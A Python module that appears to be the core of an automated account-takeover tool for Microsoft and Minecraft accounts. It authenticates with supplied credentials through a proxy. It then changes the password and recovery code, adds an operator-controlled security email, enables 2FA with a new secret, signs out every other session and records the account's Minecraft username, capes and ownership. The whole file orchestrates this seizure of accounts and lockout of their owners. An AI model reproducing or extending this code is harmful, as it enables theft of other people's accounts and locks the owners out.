import logging
from typing import Callable

from config import InstanceConfig
from mail.imap_reader import imap_cfg_from_instance
from secure.auth import mslogin, otp, recovery, twofa
from secure.pipeline.actions.alias import AliasAction
from secure.pipeline.actions.enable_2fa import EnableTwoFactorAction
from secure.pipeline.actions.password import PasswordAction
from secure.pipeline.actions.profile import ProfileAction
from secure.pipeline.actions.recovery_code import RecoveryCodeAction
from secure.pipeline.actions.security_email import SecurityEmailAction
from secure.pipeline.actions.signout import SignoutAction
from secure.pipeline.runner import run_pipeline
from secure.types import ActionResult, PipelineContext, SecureResult

logger = logging.getLogger("secure.engine")

AUTH_METHODS: dict[str, Callable] = {
    "otp": otp.authenticate,
    "2fa": twofa.authenticate,
    "recovery": recovery.authenticate,
}

_FOLD_MAP: dict[str, tuple[str, str]] = {
    "recovery_code": ("new_recovery_code", "recovery_code"),
    "password": ("new_password", "password"),
    "security_email": ("added_security_email", "security_email"),
    "enable_2fa": ("new_totp_secret", "totp_secret"),
}


def build_actions() -> list:
    return [
        AliasAction(),
        RecoveryCodeAction(),
        PasswordAction(),
        SecurityEmailAction(),
        EnableTwoFactorAction(),
        SignoutAction(),
        ProfileAction(),
    ]


async def _open_http(proxy):
    return await mslogin.open_http(proxy)


def _fold(result: SecureResult, action_result: ActionResult) -> None:
    if action_result.name == "profile":
        data = action_result.data
        result.mc_username = data.get("mc_username")
        result.mc_uuid = data.get("mc_uuid")
        result.skin_url = data.get("skin_url")
        result.mc_capes = data.get("mc_capes")
        result.mc_ownership = data.get("mc_ownership")
        result.mc_name_change_allowed = data.get("mc_name_change_allowed")
        return
    mapping = _FOLD_MAP.get(action_result.name)
    if mapping is None:
        return
    field_name, data_key = mapping
    value = action_result.data.get(data_key)
    if value is not None:  # a failed action must not null out a seeded value
        setattr(result, field_name, value)


async def secure(method: str, creds: dict, cfg: InstanceConfig) -> SecureResult:
    email = creds.get("email")
    http = await _open_http(cfg.proxy_url)
    try:
        outcome = await AUTH_METHODS[method](creds, http, cfg.proxy_url, cfg)
        if outcome.session is None:
            return SecureResult(
                method=method,
                email=email,
                authenticated=False,
                fail_reason=outcome.fail_reason,
                actions=[],
            )

        ctx = PipelineContext(
            security_email=cfg.security_email,
            imap=imap_cfg_from_instance(cfg),
            proxy=cfg.proxy_url,
            log=logger.info,
        )
        action_results = await run_pipeline(outcome.session, build_actions(), ctx)

        result = SecureResult(
            method=method,
            email=email,
            authenticated=True,
            fail_reason=None,
            actions=action_results,
        )
        # Recovery resets the password / attaches the security email during auth;
        # seed those so they're reported even if the pipeline actions no-op. A
        # successful PasswordAction/SecurityEmailAction still overrides below.
        extra = outcome.session.extra or {}
        if extra.get("new_password"):
            result.new_password = extra["new_password"]
        if extra.get("added_security_email"):
            result.added_security_email = extra["added_security_email"]
        for action_result in action_results:
            _fold(result, action_result)
        return result
    finally:
        await http.close()
